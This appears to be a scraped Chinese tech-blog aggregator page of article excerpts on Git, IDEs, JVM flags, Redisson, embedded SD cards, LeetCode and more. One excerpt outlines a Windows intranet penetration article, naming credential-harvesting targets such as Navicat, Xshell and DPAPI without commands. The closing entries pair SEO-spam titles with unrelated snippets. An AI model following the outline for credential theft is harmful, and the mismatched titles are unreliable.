Git教程 版本库之间的依赖 1️⃣ 与子模块之间的依赖2️⃣ 与子树之间的依赖&#x1f33e; 总结 在 Git 中&#xff0c;版本库是发行单位&#xff0c;代表的是一个版本&#xff0c;而分支或标签则只能被创建在版本库这个整体中。如果一个项目中包含了若干个子项目&#xff0c;…...

最新版IntelliJ IDEA 2024.1安装和配置教程 详细图文解说版安装教程

IntelliJ IDEA 2024.1 最新版如何快速入门体验?IntelliJ IDEA 2024.1 安装和配置教程 图文解说版 文章目录 IntelliJ IDEA 2024.1 最新版如何快速入门体验?IntelliJ IDEA 2024.1 安装和配置教程 图文解说版前言 第一步&#xff1a; IntelliJ IDEA 2024.1安装教程第 0 步&…...

JVM常用参数一

jvm启动参数 JVM&#xff08;Java虚拟机&#xff09;的启动参数是在启动JVM时可以设置的一些命令行参数。这些参数用于指定JVM的运行环境、内存分配、垃圾回收器以及其他选项。以下是一些常见的JVM启动参数&#xff1a; -Xms&#xff1a;设置JVM的初始堆大小。 -Xmx&#xff1…...

分布式锁-redission可重入锁原理

5.3 分布式锁-redission可重入锁原理 在Lock锁中&#xff0c;他是借助于底层的一个voaltile的一个state变量来记录重入的状态的&#xff0c;比如当前没有人持有这把锁&#xff0c;那么state0&#xff0c;假如有人持有这把锁&#xff0c;那么state1&#xff0c;如果持有这把锁的…...

Android Gradle开发与应用 (八) :Kotlin DSL

1. 前言 本文介绍了Gradle Kotlin DSL相关的一些知识点 2. DSL是什么 DSL是为特定领域设计的专门的语言&#xff0c;也就是设计了一门语言&#xff0c;然后解决某个特定的领域的特定问题。 2.1 举例说明 以下的这些都可以称之为DSL 正则表达式 :用于文本处理的特定语言SQ…...

phpstorm 快捷键

PHPstorm最常用的快捷键&#xff0c;提高开发效率 - 知乎 (zhihu.com) 四年精华PHP技术文章整理合集——PHP框架篇 (qq.com) 四年精华PHP技术文合集——微服务架构篇 (qq.com) Vue3 打印票据 预览的库&#xff1a;vue3打印解决方案&#xff1a;Vue-Plugin-HiPrint - 掘金 (j…...

浦大喜奔APP8.0智能升级,发力数字金融深化五大金融篇章服务

1. 浦大喜奔立足科技赋能持续迭代升级&#xff0c;筑牢用户体验护城河 浦发信用卡中心坚持数字科技与客户体验双轮驱动&#xff0c;以科技赋能发展&#xff0c;优化整体系统性能&#xff0c;全方位支撑浦大喜奔 APP提高线上客户服务能力与体验&#xff0c;积极服务民生消费&a…...

自然语言处理、大语言模型相关名词整理

自然语言处理相关名词整理 零样本学习&#xff08;zero-shot learning&#xff09;词嵌入&#xff08;Embedding&#xff09;为什么 Embedding 搜索比基于词频搜索效果好&#xff1f; Word2VecTransformer检索增强生成&#xff08;RAG&#xff09;幻觉采样温度Top-kTop-p奖励模…...

移动开发避坑指南——内存泄漏

在日常编写代码时难免会遇到各种各样的问题和坑&#xff0c;这些问题可能会影响我们的开发效率和代码质量&#xff0c;因此我们需要不断总结和学习&#xff0c;以避免这些问题的出现。接下来我们将围绕移动开发中常见问题做出总结&#xff0c;以提高大家的开发质量。本系列文章…...

太好玩了,我用 Python 做了一个 ChatGPT 机器人

毫无疑问&#xff0c;ChatGPT 已经是当下编程圈最火的话题之一&#xff0c;它不仅能够回答各类问题&#xff0c;甚至还能执行代码&#xff01; 或者是变成一只猫 因为它实在是太好玩&#xff0c;我使用Python将ChatGPT改造&#xff0c;可以实现在命令行或者Python代码中调用。…...

STM32存储左右互搏 SDIO总线读写SD/MicroSD/TF卡

STM32存储左右互搏 SDIO总线读写SD/MicroSD/TF卡 SD/MicroSD/TF卡是基于FLASH的一种常见非易失存储单元&#xff0c;由接口协议电路和FLASH构成。市面上由不同尺寸和不同容量的卡&#xff0c;手机领域用的TF卡实际就是MicroSD卡&#xff0c;尺寸比SD卡小&#xff0c;而电路和协…...

累积分布函数图(CDF)的介绍、matlab的CDF图绘制方法(附源代码)

在对比如下两个误差的时候&#xff0c;怎么直观地分辨出来谁的误差更低一点&#xff1f;&#xff1a; 通过这种误差时序图往往不容易看出来。 但是如果使用CDF图像&#xff0c;以误差绝对值作为横轴&#xff0c;以横轴所示误差对应的累积概率为纵轴&#xff0c;绘制曲线图&am…...

代码随想录算法训练营第四十一天|343.整数拆分、96不同的二叉搜索树

文档链接&#xff1a;https://programmercarl.com/ LeetCode343.整数拆分 题目链接&#xff1a;https://leetcode.cn/problems/integer-break/ 思路&#xff1a; j * (i - j) 是单纯的把整数拆分为两个数相乘&#xff0c;而j * dp[i - j]是拆分成两个以及两个以上的个数相乘…...

全量知识系统 程序详细设计之 统一资产模型(QA-SmartChat)

Q1. 下面我们聊聊整个全知系统的设计 的矩阵和函数&#xff0c;矩阵表示的是“活物”&#xff0c;分别 类似 一个基因的活性、一个实体的辨识度和某种特征的可区分度。 函数的可微、可积和可导性 则表示 运动的控制方式 在全知系统设计中&#xff0c;矩阵和函数是两个核心的组…...

已解决org.springframework.web.client.HttpClientErrorException: 400异常的正确解决方法,亲测有效!!!

已解决org.springframework.web.client.HttpClientErrorException: 400异常的正确解决方法&#xff0c;亲测有效&#xff01;&#xff01;&#xff01; 文章目录 问题分析 报错原因 解决思路 解决方法 总结 在日常开发过程中&#xff0c;通过Spring框架提供的RestTemplat…...

内网渗透-Windows内网渗透

内网渗透-Windows内网渗透 文章目录 内网渗透-Windows内网渗透前言一、信息收集 1.1、SPN1.2、端口连接1.3、配置文件1.4、用户信息1.6、会话收集1.7、凭据收集 navicat&#xff1a;SecureCRT&#xff1a;Xshell&#xff1a;WinSCP&#xff1a;VNC: 1.8、DPAPI1.9、域信任1.10、…...

机器人方向控制中应用的磁阻角度传感芯片

磁阻传感器提供的输出信号几乎不受磁场变动、磁温度系数、磁传感器距离与位置变动影响&#xff0c;可以达到高准确度与高效能&#xff0c;因此相当适合各种要求严格的车用电子与工业控制的应用。所以它远比采用其它传感方法的器件更具有优势。 机器人的应用日渐广泛&#xff0…...

如何在树莓派安装Nginx并实现固定公网域名访问本地静态站点

文章目录 1. Nginx安装2. 安装cpolar3.配置域名访问Nginx4. 固定域名访问5. 配置静态站点 安装 Nginx&#xff08;发音为“engine-x”&#xff09;可以将您的树莓派变成一个强大的 Web 服务器&#xff0c;可以用于托管网站或 Web 应用程序。相比其他 Web 服务器&#xff0c;Ngi…...

Ubuntu与主机windows共享文件夹

一、创建共享文件夹&#xff1a; 虚拟机->设置->选项->共享文件夹->总是启用->选择本地的共享文件夹&#xff08;如E&#xff1a;\Share&#xff09;->确定。 二、设置挂载&#xff1a; 首先赋予/etc/fstab文件可编辑的权限&#xff1b; sudo chmod 777 /…...

(四)C++自制植物大战僵尸游戏启动流程

植物大战僵尸游戏开发教程专栏地址http://t.csdnimg.cn/ErelL 一、启动方式 鼠标左键单机VS2022上方工具栏中绿色三角按钮&#xff08;本地Windows调试器&#xff09;进行项目启动。第一次启动项目需要编译项目中所有代码文件&#xff0c;编译生成需要一定的时间。不同性能的电…...

华为的AI战略地图上,才不是只有大模型

图片来源&#xff1a;pixabay© 钛媒体ToB深水区 图片来源&#xff1a;pixabay 大模型火热了一年&#xff0c;现在还没做AI化改造的企业&#xff0c;就像是工业革命浪潮伊始与火车赛跑的那辆马车。 最早的蒸汽火车缓慢又笨重&#xff0c;甚至铁轨上还预留了马匹行走的空…...

采用C#.Net +JavaScript 开发的云LIS系统源码 二级医院应用案例有演示

采用C#.Net JavaScript 开发的云LIS系统源码 二级医院应用案例有演示 一、系统简介 云LIS是为区域医疗提供临床实验室信息服务的计算机应用程序&#xff0c;可协助区域内所有临床实验室相互协调并完成日常检验工作&#xff0c;对区域内的检验数据进行集中管理和共享&#xff0…...

Vue3(三):生命周期、路由、自定义hooks

这里终于明白了为什么一直有这个语法报错&#xff0c;就是在提示你哪里错的地方上方注释一行/*eslint-disable*/&#xff0c;之前一直警告这个错误感谢老师&#xff01; 一、vue2和vue3生命周期 还有一个问题就是父组件和子组件哪个先挂载完毕呢&#xff1f;答案是子组件先挂…...

UE4_导入内容_骨架网格体

FBX 导入支持 骨架网格体&#xff08;Skeletal Mesh&#xff09; 。这提供了一种简化的处理流程来将有动画的网格体从 3D应用程序中导入到虚幻引擎内&#xff0c;以便在游戏中使用。除了导入网格体外&#xff0c;如果需要&#xff0c;动画和变形目标都可以使用FBX格式 在同一文…...

第十五届蓝桥杯c++b组赛后复盘和真题展示

题目变成八道了&#xff0c;分数一百分可能&#xff0c;感觉拿奖难度还是很高 第一题是一个简单的握手问题 答案算出来1204&#xff0c;纯手写 第二题是 物理题 纯蒙&#xff0c;随便猜了个轨迹&#xff0c;答案具体忘了&#xff0c;最后是 .45 第三题暴力 第四题 我是傻逼…...

代码随想录 二叉树—二叉搜索树中的搜索

思路&#xff1a;当节点为空或者等于目标值&#xff0c;直接返回。由于是二叉搜索树&#xff0c;特点是左子树的值都小于根节点值&#xff0c;右子树的值均大于根节点&#xff0c;那么&#xff0c;左右子树的构建可以通过值的判断来递归调用。 c题解&#xff1a; /*** Defini…...

⑤-1 学习PID--什么是PID

​ PID 算法可以用于温度控制、水位控制、飞行姿态控制等领域。后面我们通过PID 控制电机进行说明。 自动控制系统 在直流有刷电机的基础驱动中&#xff0c;如果电机负载不变&#xff0c;我们只要设置固定的占空比&#xff08;电压&#xff09;&#xff0c;电机的速度就会稳定在…...

【OTA】STM32-OTA升级——持续更新

【OTA】STM32-OTA升级——持续更新 文章目录 前言一、ymodem串口协议1、Ymodem 协议2、PC3、蓝牙4、WIFI云平台 二、UDS车载协议1.UDS协议 总结 前言 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 一、ymodem串口协议 1、Ymodem 协议 STM32 Ymodem …...

摄像机怎么在自己家网站做直播/公司做网络推广怎么做

只需要在工程上右键&#xff0c;”Add Frameworks support...“&#xff0c;然后选择Maven即可转载于:https://www.cnblogs.com/qiang-cnblog/p/9802483.html...

深圳市最新出行政策/seo搜论坛

【5月4日讯】自从华为发布了鸿蒙OS系统以后&#xff0c;作为首款全平台国产操作系统&#xff0c;也是得到了很多网友们的高度关注&#xff0c;因为这是华为在遭受到谷歌断供以后&#xff0c;正式将其“备胎系统”正式转正&#xff0c;全新的华为鸿蒙OS系统由于采用了微内核设计…...

dw里面怎么做网站轮播图/天津快速关键词排名

题目背景 non最近正在为自己的体重而苦恼&#xff0c;他想称量自己的体重。于是&#xff0c;他找来一个天平与许多砝码。 题目描述 砝码的重量均是n的幂次&#xff0c;n^1、n^2、n^3、n^4、n^5的……non想知道至少要多少个砝码才可以称出他的重量m。注意砝码可以放左边&#xf…...

上海闵行区网站建设/百度广告费

最近做项目时遇到一个问题&#xff0c;产品搜索后出来相关的列表&#xff0c;点击相关商品进入它的详情&#xff0c;返回后组件被重新创建&#xff0c;但产品需求是需要保留进入详情是列表的位置的。 一.实现思路 首先有三个页面&#xff08;首页&#xff0c;搜索列表页&#x…...

网站的网站建设公司/宁波seo企业网络推广

Spring 框架作为 Java 开发中最流行的框架之一&#xff0c;其核心特性之一就是依赖注入&#xff08;Dependency Injection&#xff0c;DI&#xff09;。在Spring中&#xff0c;依赖注入是通过 IOC 容器&#xff08;Inversion of Control&#xff0c;控制反转&#xff09;来实现…...

郑州的做网站公司/seo搜索引擎推广什么意思

var scroll mui(.mui-scroll-wrapper).scroll(); document.querySelector(.mui-scroll-wrapper).addEventListener(scroll,function (e) {   console.log(scroll.y); })转载于:https://www.cnblogs.com/Jason-qiang/p/5489747.html...